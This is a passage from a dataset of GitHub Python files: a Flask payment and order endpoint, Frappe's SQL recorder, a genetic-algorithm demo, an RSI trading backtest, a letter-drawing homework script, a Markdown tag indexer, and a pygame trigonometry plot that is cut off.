\"angie06\",\n \"details\": \"TapPay Test\",\n \"amount\": 100,\n \"cardholder\": {\n \"phone_number\": data[\"order\"][\"contact\"][\"phone\"],\n \"name\": data[\"order\"][\"contact\"][\"name\"],\n \"email\": data[\"order\"][\"contact\"][\"email\"],\n },\n \"remember\": True\n }\n response = requests.post(\n \"https://sandbox.tappaysdk.com/tpc/payment/pay-by-prime\", json=payment_data)\n\n if response.status_code == 200:\n # 付款成功\n con, cursor = connect_to_database()\n cursor.execute(\n \"UPDATE orders SET order_status = %s WHERE order_number = %s\", (\"已付款\", order_number))\n con.commit()\n cursor.close()\n con.close()\n response = {\n \"data\": {\n \"number\": order_number,\n \"payment\": {\n \"status\": 0,\n \"message\": \"付款成功\"\n }\n }\n }\n return jsonify(response), 200\n else:\n # 付款失敗\n response = {\n \"data\": {\n \"number\": order_number,\n \"payment\": {\n \"status\": 1,\n \"message\": \"付款失敗\"\n }\n }\n }\n return jsonify(response), 400\n except:\n return jsonify({\"error\": True, \"message\": \"伺服器內部錯誤\"}), 500\n\n\n@app.route(\"/api/order/\", methods=[\"get\"])\ndef orderCheck(orderNumber):\n try:\n authorization_header = request.headers.get('Authorization')\n if (authorization_header):\n bearer_token = authorization_header.split(' ')[1]\n decoded_token = jwt.decode(\n bearer_token, secret_key, algorithms=['HS256'])\n id = decoded_token['id']\n if not id:\n return jsonify({\"error\": True, \"message\": \"未登入系統,存取遭拒\"}), 403\n if orderNumber is None:\n response = {\n \"error\": True,\n \"message\": \"沒有找到訂單編號\"\n }\n return jsonify(response), 400\n con, cursor = connect_to_database()\n cursor.execute(\n \"SELECT * FROM orders WHERE order_number = %s\", (orderNumber,))\n existing_user = cursor.fetchone()\n order_status = existing_user[2]\n name = existing_user[10]\n data = {\n \"order_status\": order_status,\n \"name\": name\n }\n cursor.close()\n con.close()\n return jsonify(data), 200\n except:\n return jsonify({\"error\": True, \"message\": \"伺服器內部錯誤\"}), 500\n\n\napp.run(host='0.0.0.0', port=3000)\n","repo_name":"Angiemou06/taipei-day-trip","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":22860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"17222431082","text":"from __future__ import unicode_literals\n\nfrom collections import Counter\nimport datetime\nimport inspect\nimport json\nimport re\nimport time\nimport traceback\nimport frappe\nimport sqlparse\nfrom pygments import highlight\nfrom pygments.lexers import PythonLexer\nfrom pygments.formatters import HtmlFormatter\n\nfrom frappe import _\n\nRECORDER_INTERCEPT_FLAG = \"recorder-intercept\"\nRECORDER_REQUEST_SPARSE_HASH = \"recorder-requests-sparse\"\nRECORDER_REQUEST_HASH = \"recorder-requests\"\n\n\ndef sql(*args, **kwargs):\n\tstart_time = time.time()\n\tresult = frappe.db._sql(*args, **kwargs)\n\tend_time = time.time()\n\n\tstack = list(get_current_stack_frames())\n\n\tif frappe.db.db_type == 'postgres':\n\t\tquery = frappe.db._cursor.query\n\telse:\n\t\tquery = frappe.db._cursor._executed\n\n\tquery = sqlparse.format(query.strip(), keyword_case=\"upper\", reindent=True)\n\n\t# Collect EXPLAIN for executed query\n\tif query.lower().strip().split()[0] in (\"select\", \"update\", \"delete\"):\n\t\t# Only SELECT/UPDATE/DELETE queries can be \"EXPLAIN\"ed\n\t\texplain_result = frappe.db._sql(\"EXPLAIN {}\".format(query), as_dict=True)\n\telse:\n\t\texplain_result = []\n\n\tdata = {\n\t\t\"query\": query,\n\t\t\"stack\": stack,\n\t\t\"explain_result\": explain_result,\n\t\t\"time\": start_time,\n\t\t\"duration\": float(\"{:.3f}\".format((end_time - start_time) * 1000)),\n\t}\n\n\tfrappe.local._recorder.register(data)\n\treturn result\n\n\ndef get_current_stack_frames():\n\tcurrent = inspect.currentframe()\n\tframes = inspect.getouterframes(current, context=10)\n\tfor frame, filename, lineno, function, context, index in list(reversed(frames))[:-2]:\n\t\tif \"/apps/\" in filename:\n\t\t\tyield {\n\t\t\t\t\"filename\": re.sub(\".*/apps/\", \"\", filename),\n\t\t\t\t\"lineno\": lineno,\n\t\t\t\t\"function\": function,\n\t\t\t\t\"context\": \"\".join(context),\n\t\t\t\t\"index\": index,\n\t\t\t\t\"locals\": json.dumps(frame.f_locals, skipkeys=True, default=str)\n\t\t\t}\n\n\ndef record():\n\tif __debug__:\n\t\tif frappe.cache().get_value(RECORDER_INTERCEPT_FLAG):\n\t\t\tfrappe.local._recorder = Recorder()\n\n\ndef dump():\n\tif __debug__:\n\t\tif hasattr(frappe.local, \"_recorder\"):\n\t\t\tfrappe.local._recorder.dump()\n\n\nclass Recorder():\n\tdef __init__(self):\n\t\tself.uuid = frappe.generate_hash(length=10)\n\t\tself.time = datetime.datetime.now()\n\t\tself.calls = []\n\t\tself.path = frappe.request.path\n\t\tself.cmd = frappe.local.form_dict.cmd or \"\"\n\t\tself.method = frappe.request.method\n\t\tself.headers = dict(frappe.local.request.headers)\n\t\tself.form_dict = frappe.local.form_dict\n\t\t_patch()\n\n\tdef register(self, data):\n\t\tself.calls.append(data)\n\n\tdef dump(self):\n\t\trequest_data = {\n\t\t\t\"uuid\": self.uuid,\n\t\t\t\"path\": self.path,\n\t\t\t\"cmd\": self.cmd,\n\t\t\t\"time\": self.time,\n\t\t\t\"queries\": len(self.calls),\n\t\t\t\"time_queries\": float(\"{:0.3f}\".format(sum(call[\"duration\"] for call in self.calls))),\n\t\t\t\"duration\": float(\"{:0.3f}\".format((datetime.datetime.now() - self.time).total_seconds() * 1000)),\n\t\t\t\"method\": self.method,\n\t\t}\n\t\tfrappe.cache().hset(RECORDER_REQUEST_SPARSE_HASH, self.uuid, request_data)\n\t\tfrappe.publish_realtime(event=\"recorder-dump-event\", message=json.dumps(request_data, default=str))\n\n\t\tself.mark_duplicates()\n\n\t\trequest_data[\"calls\"] = self.calls\n\t\trequest_data[\"headers\"] = self.headers\n\t\trequest_data[\"form_dict\"] = self.form_dict\n\t\tfrappe.cache().hset(RECORDER_REQUEST_HASH, self.uuid, request_data)\n\n\tdef mark_duplicates(self):\n\t\tcounts = Counter([call[\"query\"] for call in self.calls])\n\t\tfor index, call in enumerate(self.calls):\n\t\t\tcall[\"index\"] = index\n\t\t\tcall[\"exact_copies\"] = counts[call[\"query\"]]\n\n\ndef _patch():\n\tfrappe.db._sql = frappe.db.sql\n\tfrappe.db.sql = sql\n\n\ndef do_not_record(function):\n\tdef wrapper(*args, **kwargs):\n\t\tif hasattr(frappe.local, \"_recorder\"):\n\t\t\tdel frappe.local._recorder\n\t\t\tfrappe.db.sql = frappe.db._sql\n\t\treturn function(*args, **kwargs)\n\treturn wrapper\n\n\ndef administrator_only(function):\n\tdef wrapper(*args, **kwargs):\n\t\tif frappe.session.user != \"Administrator\":\n\t\t\tfrappe.throw(_(\"Only Administrator is allowed to use Recorder\"))\n\t\treturn function(*args, **kwargs)\n\treturn wrapper\n\n\n@frappe.whitelist()\n@do_not_record\n@administrator_only\ndef status(*args, **kwargs):\n\treturn bool(frappe.cache().get_value(RECORDER_INTERCEPT_FLAG))\n\n\n@frappe.whitelist()\n@do_not_record\n@administrator_only\ndef start(*args, **kwargs):\n\tfrappe.cache().set_value(RECORDER_INTERCEPT_FLAG, 1)\n\n\n@frappe.whitelist()\n@do_not_record\n@administrator_only\ndef stop(*args, **kwargs):\n\tfrappe.cache().delete_value(RECORDER_INTERCEPT_FLAG)\n\n\n@frappe.whitelist()\n@do_not_record\n@administrator_only\ndef get(uuid=None, *args, **kwargs):\n\tif uuid:\n\t\tresult = frappe.cache().hget(RECORDER_REQUEST_HASH, uuid)\n\t\tlexer = PythonLexer(tabsize=4)\n\t\tfor call in result[\"calls\"]:\n\t\t\tfor stack in call[\"stack\"]:\n\t\t\t\tformatter = HtmlFormatter(noclasses=True, hl_lines=[stack[\"index\"] + 1])\n\t\t\t\tstack[\"context\"] = highlight(stack[\"context\"], lexer, formatter)\n\telse:\n\t\tresult = list(frappe.cache().hgetall(RECORDER_REQUEST_SPARSE_HASH).values())\n\treturn result\n\n\n@frappe.whitelist()\n@do_not_record\n@administrator_only\ndef delete(*args, **kwargs):\n\tfrappe.cache().delete_value(RECORDER_REQUEST_SPARSE_HASH)\n\tfrappe.cache().delete_value(RECORDER_REQUEST_HASH)\n","repo_name":"libracore/frappe","sub_path":"frappe/recorder.py","file_name":"recorder.py","file_ext":"py","file_size_in_byte":5087,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"}
+{"seq_id":"26508617807","text":"\"\"\"\n author: zhanluo zhang\n date: 20201204\n description: an example of Genetic Algorithm\n reference:\n [Genetic Algorithm] https://blog.csdn.net/ha_ha_ha233/article/details/91364937\n [Matplotlib Animation] https://blog.csdn.net/briblue/article/details/84940997\n\"\"\"\nimport os\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport matplotlib.animation as animation\n\n\nclass GA:\n \"\"\"\n 遗传算法求解工具,可以对染色体长度、种群数量,交叉概率,遗传概率进行设定。\n 一个简单的使用例子为:\n\n from ga import GA\n\n ga_solver = GA()\n records = ga_solver.revolution()\n best_x, best_y = ga_solver.get_best_result(records[-1])\n \"\"\"\n\n def __init__(self, dna_size=15, population_size=100, crossover_rate=0.8, mutation_rate=0.003, n_generations=100):\n self.dna_size = dna_size\n self.pop_size = population_size\n self.crossover_rate = crossover_rate\n self.mutation_rate = mutation_rate\n self.n_generations = n_generations\n self.x_range = (0, 30)\n self.fitness_func = lambda _x: 80 * np.sin(1.5 * _x) + 60 * np.cos(_x) - _x ** 2 + 30 * _x\n self.fitness_func_latex = '$80sin(x)+60cos(x)-x^2+30x$'\n self.pic_path = 'Pics/'\n self.data_path = 'Data/'\n for path in [self.pic_path, self.data_path]:\n if not os.path.exists(path):\n os.mkdir(path)\n\n def translate_dna(self, pop):\n \"\"\"\n 将编码的DNA转换为对应的x值。\n\n :param pop: 种群所有个体的DNA编码。np.array: (POP_SIZE, DNA_SIZE)\n :return: 种群所有个体对应的x值。np.array: (POP_SIZE, 1)\n \"\"\"\n # (POP_SIZE, DNA_SIZE)*(DNA_SIZE, 1) --> (POP_SIZE, 1) 完成解码\n return pop.dot(2 ** np.arange(self.dna_size)[::-1]) / float(2 ** self.dna_size - 1) * (\n self.x_range[1] - self.x_range[0]) + self.x_range[0]\n\n def get_fitness(self, pop):\n \"\"\"\n 计算适应度。\n\n :param pop: 种群所有个体的DNA编码。np.array: (POP_SIZE, DNA_SIZE)\n :return: 种群中所有个体的适应度。np.array: (POP_SIZE, 1)\n \"\"\"\n pred = self.fitness_func(self.translate_dna(pop))\n # 减去最小的适应度是为了防止适应度出现负数,通过这一步fitness的范围为[0, np.max(pred)-np.min(pred)]\n # 最后在加上一个很小的数防止出现为0的适应度,因为遗传算法并不会绝对否定某一个体\n pred = pred - np.min(pred) + 1e-3\n return pred\n\n def initial_pop(self):\n \"\"\"\n 种群初始化。\n\n :return: 种群所有个体的DNA编码。np.array: (POP_SIZE, DNA_SIZE)\n \"\"\"\n return np.random.randint(2, size=(self.pop_size, self.dna_size))\n\n def select(self, pop, fit):\n \"\"\"\n 根据适应度进行自然选择,注意这里的选择概率是当前种群的相对概率,淘汰种群中表现最差的部分。\n\n :param pop:\n :param fit:\n :return:\n \"\"\"\n idx = np.random.choice(np.arange(self.pop_size), size=self.pop_size, replace=True,\n p=fit / fit.sum())\n return pop[idx]\n\n def mutation(self, child):\n \"\"\"\n DNA变异。\n\n :param child: 一个子代的DNA。np.array: (DNA_SIZE, 1)\n :return: 在某一点上变异后的子代DNA。np.array: (DNA_SIZE, 1)\n \"\"\"\n if np.random.rand() < self.mutation_rate: # 以MUTATION_RATE的概率进行变异\n mutate_point = np.random.randint(0, self.dna_size) # 随机产生一个实数,代表要变异基因的位置\n child[mutate_point] = child[mutate_point] ^ 1 # 将变异点的二进制为反转\n return child\n\n def crossover_and_mutation(self, pop):\n \"\"\"\n DNA交叉和变异。\n\n :param pop: 种群所有个体的DNA编码。np.array: (POP_SIZE, DNA_SIZE)\n :return: 经过交叉和变异的所有个体的DNA编码。np.array: (POP_SIZE, DNA_SIZE)\n \"\"\"\n new_pop = []\n for father in pop: # 遍历种群中的每一个个体,将该个体作为父亲\n child = father # 孩子先得到父亲的全部基因(这里我把一串二进制串的那些0,1称为基因)\n if np.random.rand() < self.crossover_rate: # 产生子代时不是必然发生交叉,而是以一定的概率发生交叉\n mother = pop[np.random.randint(self.pop_size)] # 在种群中选择另一个个体,并将该个体作为母亲\n cross_points = np.random.randint(low=0, high=self.dna_size) # 随机产生交叉的点\n child[cross_points:] = mother[cross_points:] # 孩子得到位于交叉点后的母亲的基因\n child = self.mutation(child) # 每个后代有一定的机率发生变异\n new_pop.append(child)\n return np.array(new_pop)\n\n def revolution(self):\n \"\"\"\n 演化过程。\n\n :return: 演化过程中的所有种群。list<-np.array: (POP_SIZE, DNA_SIZE)\n \"\"\"\n pop_records = []\n # 初始化种群\n pop = self.initial_pop()\n pop_records.append(pop)\n # 演化\n for _ in range(self.n_generations):\n # 评估群体中个体的适应度\n fit = self.get_fitness(pop)\n # 选择\n pop = self.select(pop, fit)\n # 交叉和变异\n pop = self.crossover_and_mutation(pop)\n pop_records.append(pop)\n return pop_records\n\n def get_best_result(self, pop):\n \"\"\"\n 获取种群中最佳的个体的值及最佳结果。\n\n :param pop: 种群所有个体的DNA编码。np.array: (POP_SIZE, DNA_SIZE)\n :return: 最佳个体所代表的解的值及最佳结果。\n \"\"\"\n target_function_values = self.fitness_func(self.translate_dna(pop)).tolist()\n best_idx = target_function_values.index(max(target_function_values))\n return self.translate_dna(pop[best_idx]), target_function_values[best_idx]\n\n def plot_population(self, pop, n_generation):\n \"\"\"\n 对种群进行可视化。\n\n :param pop: 种群所有个体的DNA编码。np.array: (POP_SIZE, DNA_SIZE)\n :param n_generation: int。\n :return: matplotlib ax。可以进一步使用plt.savefig等函数对图片进行编辑和保存。\n \"\"\"\n xs = self.translate_dna(pop)\n x_range = np.linspace(self.x_range[0], self.x_range[-1], 500)\n plt.plot(x_range, self.fitness_func(x_range), c='black', label=self.fitness_func_latex)\n plt.plot(xs, self.fitness_func(xs), 'ro', markersize=5, label='Current Population')\n plt.title('Genetic Algorithm')\n plt.xlabel('x')\n plt.ylabel('Target Function')\n plt.text(30, 300, 'Generation: {}'.format(n_generation), c='red', fontsize=11, ha='right')\n plt.text(30, -170, 'https://github.com/zhangzhanluo/example-GA', fontsize=6, ha='right')\n plt.text(-1, 283, 'DNA Size: {}\\nPopulation Size: {}\\nCrossover Rate: {}\\nMutation Rate: {}'.format(\n self.dna_size, self.pop_size, self.crossover_rate, self.mutation_rate\n ), fontsize=9)\n plt.legend(fontsize=9)\n return plt.gca()\n\n def plot_evolution(self, pops, generation_range, fig_size=(8, 3)):\n \"\"\"\n 对演化过程使用箱线图进行分析。\n\n :param pops: 种群的演化记录。list<-np.array: (POP_SIZE, DNA_SIZE)\n :param generation_range: 需要可视化的范围,不包括右边界。[start, end]\n :param figsize: 图片大小, tuple or list,英寸单位, 1 in = 2.54 cm\n :return: matplotlib ax。可以进一步使用plt.savefig等函数对图片进行编辑和保存。\n \"\"\"\n plt.figure(figsize=fig_size)\n fitness_records = [self.fitness_func(self.translate_dna(x)) for x in\n pops[generation_range[0]: generation_range[1]]]\n plt.boxplot(fitness_records, labels=range(generation_range[0], generation_range[1]))\n plt.xlabel('Generation')\n plt.ylabel('Target Function Values')\n plt.xticks(range(0, len(fitness_records), 5), range(generation_range[0], generation_range[1], 5))\n plt.text(plt.gca().get_xlim()[-1], plt.gca().get_ylim()[0],\n 'DNA Size: {}\\nPopulation Size: {}\\nCrossover Rate: {}\\nMutation Rate: {}'.format(\n self.dna_size, self.pop_size, self.crossover_rate, self.mutation_rate\n ), ha='right', va='bottom')\n return plt.gca()\n\n\nclass GAAnimation(GA):\n \"\"\"\n 对遗传算法的种群记录使用动图可视化。继承了GA类的属性和方法。\n \"\"\"\n\n def __init__(self, pops, ga_solver):\n GA.__init__(self, ga_solver.dna_size, ga_solver.pop_size, ga_solver.crossover_rate,\n ga_solver.mutation_rate)\n self.fig, self.ax = plt.subplots()\n self.ln = None\n self.text = None\n self.frames = list(enumerate(pops))\n\n def init(self):\n \"\"\"\n 动图初始化。\n 使用方法:\n\n from ga import GA, GAAnimation\n\n ga_solver = GA()\n population_records = ga_solver.revolution()\n ga_animation = GAAnimation(pops=population_records)\n ga_animation.plot()\n\n :return: 需要动图中进行更新的artists。\n \"\"\"\n x_range = np.linspace(self.x_range[0], self.x_range[-1], 500)\n self.ax.plot(x_range, self.fitness_func(x_range), c='black', label=self.fitness_func_latex)\n self.ln, = self.ax.plot([], [], 'ro', markersize=5, animated=True, label='Current Population')\n self.text = self.ax.text(23, 300, '', animated=True, c='red', fontsize=11)\n plt.xlabel('x')\n plt.ylabel('Target Function')\n plt.title('Genetic Algorithm')\n self.ax.text(30, -170, 'https://github.com/zhangzhanluo/example-GA', fontsize=6, ha='right')\n self.ax.text(-1, 283, 'DNA Size: {}\\nPopulation Size: {}\\nCrossover Rate: {}\\nMutation Rate: {}'.format(\n self.dna_size, self.pop_size, self.crossover_rate, self.mutation_rate\n ), fontsize=9)\n return self.ln, self.text,\n\n def update(self, frame):\n \"\"\"\n 更新图区内容。\n\n :param frame: int,帧数。\n :return: 需要动图中进行更新的artists。\n \"\"\"\n n_iteration, pop = self.frames[frame]\n xs = self.translate_dna(pop)\n self.ln.set_data(xs, self.fitness_func(xs))\n self.text.set_text('Generation: {}'.format(n_iteration))\n return self.ln, self.text,\n\n def plot(self):\n \"\"\"\n 完成动图并保存。使用本方法需要保证电脑上已安装ImageMagick。ImageMagick下载地址:https://imagemagick.org/script/download.php\n 对于Linux用户:sudo apt-get install imagemagick\n\n :return: 无返回值。\n \"\"\"\n anim = animation.FuncAnimation(self.fig, self.update, frames=len(self.frames), interval=500,\n init_func=self.init, blit=True)\n plt.legend()\n anim.save(self.pic_path + 'Generation Algorithm Illustration.gif', writer='imagemagick', dpi=300)\n plt.close(self.fig)\n\n\nif __name__ == '__main__':\n # 定义参数\n num_generations = 80\n ga = GA(dna_size=15,\n population_size=100,\n crossover_rate=0.8,\n mutation_rate=0.003,\n n_generations=num_generations)\n population_records = []\n # 初始化种群\n population = ga.initial_pop()\n population_records.append(population)\n # 演化100代\n for _ in range(100):\n # 评估群体中个体的适应度\n fitness = ga.get_fitness(population)\n # 选择\n population = ga.select(population, fitness)\n # 交叉和变异\n population = ga.crossover_and_mutation(population)\n population_records.append(population)\n\n # 对初始种群进行可视化\n n = 0\n _ = ga.plot_population(population_records[n], n)\n plt.show()\n\n # 对任一种群进行可视化\n n = np.random.randint(0, num_generations, 1)[0]\n _ = ga.plot_population(population_records[n], n)\n plt.show()\n\n # 对最终种群进行可视化\n n = num_generations\n _ = ga.plot_population(population_records[n], n)\n plt.show()\n\n # 使用箱线图对演化进行可视化。\n _ = ga.plot_evolution(population_records, [0, num_generations + 1], fig_size=(15, 4))\n plt.show()\n\n # 使用动图对演化进行可视化,这一步比较耗费时间,想要快速得到结果可以将anim.save函数内的dpi调低。\n ga_animation = GAAnimation(pops=population_records, ga_solver=ga)\n ga_animation.plot()\n","repo_name":"zhangzhanluo/example-GA","sub_path":"ga.py","file_name":"ga.py","file_ext":"py","file_size_in_byte":12776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"13876808272","text":"import yfinance as yf\n\nclass Rsi:\n def __init__(self):\n self.data = yf.download('005930.KS', start='2010-01-01')\n self.data_list = []\n self.first_data = 0\n self.AU = 0\n self.AD = 0\n self.RSI = 0\n self.day = 0\n\n def rsi_setting(self):\n for i in self.data['Close']:\n self.data_list.append(i)\n\n self.first_data = self.data_list[0]\n\n stock_data = []\n\n money = 10000000\n stock = 0\n\n for k in self.data_list:\n\n Up = 0\n Down = 0\n count_u = 0\n count_d = 0\n\n erro = self.first_data - k\n\n stock_data.append(erro)\n\n self.first_data = k\n self.day += 1\n\n if len(stock_data) == 15:\n for i in stock_data:\n if i > 0:\n Up += i\n count_u += 1\n if i < 0:\n Down += i\n count_d += 1\n\n self.AU = Up/count_u\n self.AD = -Down/count_d\n self.RSI = self.AU / (self.AU + self.AD)\n\n if(self.RSI > 0.7):\n money += stock * self.data_list[self.day - 1]\n stock = 0\n if(self.RSI < 0.3):\n if (money - (stock * self.data_list[self.day - 1]) > 0 ):\n stock += money // self.data_list[self.day - 1]\n money -= stock * self.data_list[self.day - 1]\n\n print(\"RSI : \",self.RSI)\n print(\"stock : \", stock)\n print(\"money : \",money)\n\n for i in range(0,5):\n del stock_data[0]\n money += stock * self.data_list[self.day - 1]\n print(\"money : \", money)\n\nrst1 = Rsi()\n\nrst1.rsi_setting()\n","repo_name":"Dowon-Study/Study_file","sub_path":"rsi.py","file_name":"rsi.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"25298123187","text":"# Anna Markiewicz P Homework\n# Draw the letter P using asterisks\n\n#Open output file\nfout = open (\"p.txt\", \"w\")\n\n\n#Draw first line\n\ndef draw_line_horizontal(length, lines):\n for y in range(0,lines):\n for x in range (0,length):\n fout.write(\"*\", end=\"\")\n fout.write()\n\ndef draw_opposites(length, lines):\n for y in range(0,lines):\n for x in range (0,1):\n fout.write(\"*\", end=\"\")\n for x in range(1,length - 1):\n fout.write(\" \", end=\"\")\n for x in range (0,1):\n fout.write(\"*\", end=\"\") \n fout.write()\n\ndef draw_line_vertical(lines):\n for y in range (lines):\n fout.write(\"*\")\n\ndef draw_triangle_bottom(length, lines):\n for y in range(0, lines):\n fout.write(\"*\", end=\"\")\n # ((y * 2)-1) creates a nice angle \n for x in range(0, (y * 2)-1):\n fout.write(\" \", end=\"\")\n fout.write(\"*\")\n\ndef draw_triangle_top(length, lines):\n for y in range(0, lines):\n fout.write(\"*\", end=\"\")\n # ((y * 2)-1) creates a nice angle \n for x in range(0, length - y):\n fout.write(\" \", end=\"\")\n fout.write(\"*\")\n\n\n\nwidth = 8\n\ndraw_line_horizontal(width,1)\ndraw_opposites(width,2)\ndraw_line_horizontal(width,1)\ndraw_line_vertical(4)\nfout.write(\"---------\")\ndraw_triangle_top(5,5)\ndraw_triangle_bottom(5,5)\n\nfout.close()\n","repo_name":"annamwebley/IT211","sub_path":"proj4Markiewicz.py","file_name":"proj4Markiewicz.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"34361155522","text":"import os\nimport glob\nimport datetime\nfrom pathlib import Path\nfrom json import loads\n\n# Variables for handling location to notes directory\nHOME_USER = str(Path.home())\nNOTES_DIR = HOME_USER + \"/Dropbox/Notes/\" # FIXME: add path to your Notes folder (relative to $HOME)\n\n# Location of 'index' file for all indexed tags, change it if you want\n# By default this file is stored in the root of your notes directory\nTAGS_FILE = NOTES_DIR + \"index.md\"\n\n# Work-tag (used only for script purposes), make sure that this tag is not used in your notes\nART_TAG = \"__notes-qweewq1p1__\"\n\n# If you want ignore some tags in the final listing add them to this list\n# WARNING: this feature is actually taking only subtag, \n# Ex#1: you have note with tag: \"dev/python/code-snippets\"\n# if you decide to ignore tag \"dev\", then all subtags (\"python\", \"code-snippets\") will be also ignored!\n# Ex#2: you have 2 notes with tags: note1: 'q/w/e', 'e/w/q' (you have the same subtab 'w', but in totally different subtrees)\n# Ignoring tag 'w' will affect BOTH subtrees, \n# It isn't possible to ignore subtag only from specified tree! Ignoring \"q/w\" will not work!\nIGNORE_TAGS = [] # FIXME\n\ndef get_files(path, extension):\n for filename in Path(path).rglob('*.' + extension):\n yield filename\n\ndef grab_tags_str(f):\n with open(f, 'r') as f:\n # simple file parsing\n ret = \"\"\n line = f.readline()\n if '---' in line:\n line = f.readline()\n while '---' not in line:\n ret += line.replace('\\n', '').replace(' ', '').replace('tags:', '')\n line = f.readline()\n return ret\n else:\n return None\n\n\ndef parse_tags(tags_str, filename):\n # this func should parse tags and return them as separate objects:\n # simple (tag singleton)\n # complex (inherited tags)\n # tag objects are held as {}, articles are inside \"arts\" key in array\n arr = loads(tags_str)\n tags = {}\n\n for elem in arr:\n paths = elem.split('/')\n \n # find the leave\n ptr = tags\n while len(paths) != 0:\n v = paths[0]\n ptr[v] = {}\n ptr = ptr[v]\n paths.pop(0)\n ptr[ART_TAG] = [filename.replace(NOTES_DIR, './')] \n\n return tags\n\ndef merge_tags(old, new):\n # divide & conquer\n\n if type(new) == list:\n # we are on the top of the tree\n return old + new\n else:\n # we need to traverse the tree\n for key, value in new.items():\n if key not in old:\n # key not exists, so just put it\n old[key] = value\n else:\n # we need to trave through tree\n old[key] = merge_tags(old[key], value)\n \n return old\n\ndef dump_tag(d, ret, indent=0, filler=' '):\n def sline(f, i, k):\n return \"{}- {}\\n\".format(f * i * 3, k)\n\n for key, value in d.items():\n # FIXME blacklist may be too wide (for tags in diff path)\n if key in IGNORE_TAGS:\n continue\n \n # header\n if key == ART_TAG:\n indent -= 1\n else:\n ret += sline(filler, indent, key)\n\n if type(value) == list:\n for v in sorted(value):\n name = os.path.basename(v)\n #v = v.replace('[', '\\[').replace(']', '\\]')#.replace(' ', '\\ ')\n ret += sline(filler, indent + 1, \"[{}]({})\".format(name, v))\n else:\n ret = dump_tag(value, ret, indent+1)\n \n return ret\n\ndef write_tags(tags):\n template = \"\"\"#Index Tags\n\n{}\n\n```txt\nLast Update: {}\n```\n\"\"\"\n \n md_text = dump_tag(tags, \"\")\n out = template.format(md_text, str(datetime.datetime.now()))\n with open(TAGS_FILE, 'w') as f:\n f.write(out)\n\ndef main():\n tags = {}\n # tags = { \"tag1\" : { \"sub1\" : { \"art\": [ \"/path/to/art.md\" ] }, \"sub2\" : { \"subsub\": { ... } } } }\n for f in get_files(NOTES_DIR, 'md'):\n try:\n tag_str = grab_tags_str(f)\n if tag_str is None:\n continue\n \n new = parse_tags(tag_str, str(f))\n tags = merge_tags(tags, new)\n except Exception as e:\n print(\"[Error]: Exception occured during processing file: {}\".format(f))\n \n write_tags(tags)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"trib0r3/bear2markdowntree","sub_path":"build-tags.py","file_name":"build-tags.py","file_ext":"py","file_size_in_byte":4348,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"}
+{"seq_id":"6649117077","text":"import pygame\nimport math\npygame.init()\nSCREEN_WIDHT, SCREEN_HEIGHT = 800, 600\nscreen = pygame.display.set_mode((SCREEN_WIDHT, SCREEN_HEIGHT))\npygame.display.set_caption('My First Game')\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nRED = (255, 0, 0)\nBLUE = (0, 0, 255)\nrunning = True\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT: running = False\n screen.fill(WHITE)\n pygame.draw.rect(screen, BLACK, (90, 86, 620, 428), 2)\n pygame.draw.line(screen, BLACK, (90, 300), (710, 300), 2)\n pygame.draw.line(screen, BLACK, (400, 86), (400, 514), 2)\n for step in range(108, 514, 48):\n pygame.draw.line(screen, BLACK, (90, step), (710, step), 1)\n for step in range(112, 710, 96):\n if step==496:\n pygame.draw.line(screen, BLACK, (step, 86), (step, 108), 1)\n pygame.draw.line(screen, BLACK, (step, 156), (step, 514), 1)\n else: pygame.draw.line(screen, BLACK, (step, 86), (step, 514), 1)\n font=pygame.font.SysFont(\"Times New Roman\", 18, italic=True)\n t1=font.render('sin(x)', True, BLACK)\n t2=font.render('cos(x)', True, BLACK)\n screen.blit(t1, (476, 111))\n screen.blit(t2, (476, 131))\n pygame.draw.line(screen, RED, (525, 122), (565, 122))\n for step in range(525, 565, 8):\n pygame.draw.line(screen, BLUE, (step, 142), (step+5, 142))\n\n for step in range(132, 492, 24):\n pygame.draw.line(screen, BLACK, (90, step), (100, step), 1)\n for step in range(120, 492, 12):\n pygame.draw.line(screen, BLACK, (90, step), (95, step), 1)\n \n for step in range(132, 492, 24):\n pygame.draw.line(screen, BLACK, (710, step), (700, step), 1)\n for step in range(120, 492, 12):\n pygame.draw.line(screen, BLACK, (710, step), (705, step), 1)\n\n for step in range(160, 688, 48):\n pygame.draw.line(screen, BLACK, (step, 86), (step, 101), 1)\n for step in range(136, 688, 24):\n pygame.draw.line(screen, BLACK, (step, 86), (step, 96), 1)\n for step in range(124, 688, 12):\n pygame.draw.line(screen, BLACK, (step, 86), (step, 91), 1)\n \n for step in range(160, 688, 48):\n pygame.draw.line(screen, BLACK, (step, 514), (step, 499), 1)\n for step in range(136, 688, 24):\n pygame.draw.line(screen, BLACK, (step, 514), (step, 504), 1)\n for step in range(124, 688, 12):\n pygame.draw.line(screen, BLACK, (step, 514), (step, 509), 1)\n \n font=pygame.font.SysFont(\"Times New Roman\", 20, italic=True)\n a=0.75\n dis=0\n while a>=-0.75:\n text=font.render(str(a), True, BLACK)\n if a>0: screen.blit(text, (40, 146+dis))\n else: screen.blit(text, (33, 146+dis))\n dis+=96\n a-=0.50\n poi=['1.00', '0.50', '0.00', '-1.00', '-0.50']\n dis=0\n for x in poi:\n text=font.render(x, True, BLACK)\n if len(x)<=4: screen.blit(text, (40, 98+dis))\n else: screen.blit(text, (33, 98+dis))\n dis+=96\n b=-3\n dis=0\n while b<=3:\n if b%1!=0.5:\n if b==-1:\n text=font.render('-π', True, BLACK)\n screen.blit(text, (99+dis, 525))\n elif b==1:\n text=font.render('π', True, BLACK)\n screen.blit(text, (105+dis, 525))\n elif b<0:\n text=font.render(str(int(b))+'π', True, BLACK)\n screen.blit(text, (93+dis, 525))\n elif b>0:\n text=font.render(str(int(b))+'π', True, BLACK)\n 